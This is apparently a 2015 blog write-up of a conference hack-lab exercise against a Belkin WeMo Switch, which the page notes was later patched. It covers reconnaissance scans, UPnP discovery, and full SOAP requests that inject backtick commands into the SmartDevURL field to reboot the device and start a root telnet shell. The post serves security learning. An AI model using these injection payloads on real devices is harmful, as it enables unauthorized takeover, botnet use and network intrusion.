Image

*Updated 12/7/2015 – NOTE: The WeMo attack vector described in this article was resolved with WeMo firmware release 2.00.8643. Customers are encouraged to install the latest update immediately.
There were many activities hosted at SecTor 2015. My favorite activity was the Internet of Things Hack Lab sponsored by Tripwire. The term Internet of Things (IoT) refers to physical devices that have networking capabilities. These devices or “things” can vary greatly in terms of their capabilities, such as smart light bulbs, smart thermostats, and smart outlets, like the one that I will be talking about later in this post. Researchers from Tripwire were on hand to help attendees explore the world of IoT hacking. They brought with them a table full of devices ranging from routers to smart televisions. They also had a video demonstration of the exploitation of vulnerabilities in a home router. On the first day of the conference, I was walking around, talking to a bunch of vendors to see what they did, what software or hardware they made, and what services they offered. Nearing the end of the day, I decided to check out the IoT Hack Lab. I was fascinated by the devices that they had and decided to talk to them about what was going on. They told me that most of the devices here had vulnerabilities and that anyone was welcome to sit down and attempt to exploit them. Interested by the possibility to get my hands dirty and exploit vulnerabilities, I decided to participate. Unfortunately, there were no available laptops to use at the time, so I decided to come back the next day. The following day I showed up with my laptop, a Kali Linux VM, and a wireless adapter. I sat down and began looking for the vulnerabilities the devices had. The first device that I looked at was a TRENDNet router with an authentication bypass vulnerability that I successfully exploited. The second device was a Belkin WeMo Switch; this post details my experiences with that device and a protocol that I had heard about but had never really looked into.About the Device
The Belkin WeMo Switch is part of Belkin’s home automation lineup. The switch is used for turning the attached device on and off. The attached device can also be placed on a schedule. Here are some details about the device I used: Device: WeMo Switch Firmware: WeMo_WW_2.00.8326.PVT-OWRT-SNS When an unconfigured Belkin WeMo Switch is first powered on it advertises a wireless network (SSID: WeMo.Switch.X, where X is the last three characters of the serial number). Typically, a smartphone is used to configure the WeMo to have it connect to your existing wireless network. When I connected my computer to the WeMo’s wireless network I was given 10.22.22.102 as my IP address. Using netdiscover (netdiscover -i wlan0 -r 10.22.22.0/24), I determined that the IP address of the WeMo was 10.22.22.1.Scanning the device
Once I determined the IP address of WeMo, the next step was to scan it to determine which ports were open. Using nmap (nmap -sS -sU -sV -v -e wlan0 10.22.22.1), I determined that the following ports were open:PORT | STATE | SERVICE VERSION |
53/tcp | open | domain dnsmasq 2.52 |
49152/tcp open | open | upnp Belkin Wemo upnpd (UPnP 1.0) |
53/udp | open | domain dnsmasq 2.52 |
67/udp | open|filtered | dhcps |
1900/udp | open|filtered | upnp |
How to talk to the device
Navigating to 10.22.22.1 on port 49152 in the browser resulted in a 404. It was time to determine which UPnP services are available by issuing an M-SEARCH command.printf "M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:10\r\nMAN:\"ssdp:discover\"\r\n\r\n" | nc -u 239.255.255.250 1900 -p 1900
While issuing the command above, I had a netcat listener running, and I received the following response:
nc -lup 1900
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=86400
DATE: Sat, 01 Jan 2000 01:23:41 GMT
EXT:
LOCATION: http://10.22.22.1:49152/setup.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: 794dc9a6-1dd2-11b2-9c60-cdf5773d7a81
SERVER: Unspecified, UPnP/1.0, Unspecified
X-User-Agent: redsonic
ST: upnp:rootdevice
USN: uuid:Socket-1_0-XXXXXXXXXXXXXX::upnp:rootdevice
Navigating to http://10.22.22.1:49152/setup.xml resulted in a document that details specifics about the device, such as model name, model number, serial number and much more. This document also lists the services that can be accessed via UPnP, and a path to an XML document that outlines the methods and variables. One of the interesting services is basicevent, and the document that details the methods of that service is located at http://10.22.22.1:49152/eventservice.xml.
Finding the vulnerability
There were a few methods that accept input, they included:- ChangeFriendlyName
- SetSmartDevInfo
POST <Service URL> HTTP/1.1
Content-Length: <variable>
SOAPACTION: "<Service Type>#<Method>"
Content-Type: text/xml; charset="utf-8"
Accept: ""
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:<Method> xmlns:u="<Service Type>">
<<Variable>><Value></<Variable>>
</u:<Method>>
</s:Body>
</s:Envelope>
The ChangeFriendlyName method did not seem to be vulnerable. However, the SetSmartDevInfo method did seem to be vulnerable. When I set the SmartDevURL variable to `reboot` the device rebooted. This is what that request looked like:
POST /upnp/control/basicevent1 HTTP/1.1
Content-Length: <variable>
SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo"
Content-Type: text/xml; charset="utf-8"
Accept: ""
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
<SmartDevURL>`reboot`</SmartDevURL>
</u:SetSmartDevInfo>
</s:Body>
</s:Envelope>
The next step was to find a way to get a shell.
Getting Root
Knowing that I could execute commands, it was time to get a shell. It might be possible to start some kind of login service like Telnet or SSH. I tried to start telnetd by setting the SmartDevURL value to `telnetd`. I then did a quick TCP scan (nmap -sS -vvv 10.22.22.1) of the device to determine if telnet was running.PORT | STATE | SERVICE | REASON |
23/tcp | open | telnet | syn-ack ttl 64 |
53/tcp | open | domain | syn-ack ttl 64 |
49152/tcp | open | unknown | syn-ack ttl 64 |
POST /upnp/control/basicevent1 HTTP/1.1
Content-Length: <variable>
SOAPACTION: "urn:Belkin:service:basicevent:1#SetSmartDevInfo"
Content-Type: text/xml; charset="utf-8"
Accept: ""
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
<SmartDevURL>`telnetd -l /bin/sh`</SmartDevURL>
</u:SetSmartDevInfo>
</s:Body>
</s:Envelope>
Final Remarks
Once root was obtained the possibilities were endless. I now had full control of the WeMo, allowing me to turn on and off the device connected to the outlet. In addition, it would be possible to modify how the device operates, such as adding in additional functionality. Having this level of control over the device also allows one to use the device maliciously. One can use it as a node in attacks, a pivot point into the network that it is connected to or as another bot in a botnet. Overall this was a great activity that was hosted at SecTor 2015 and it would be great if there were more activities like this in the future. It was a great way to learn new skills.Image
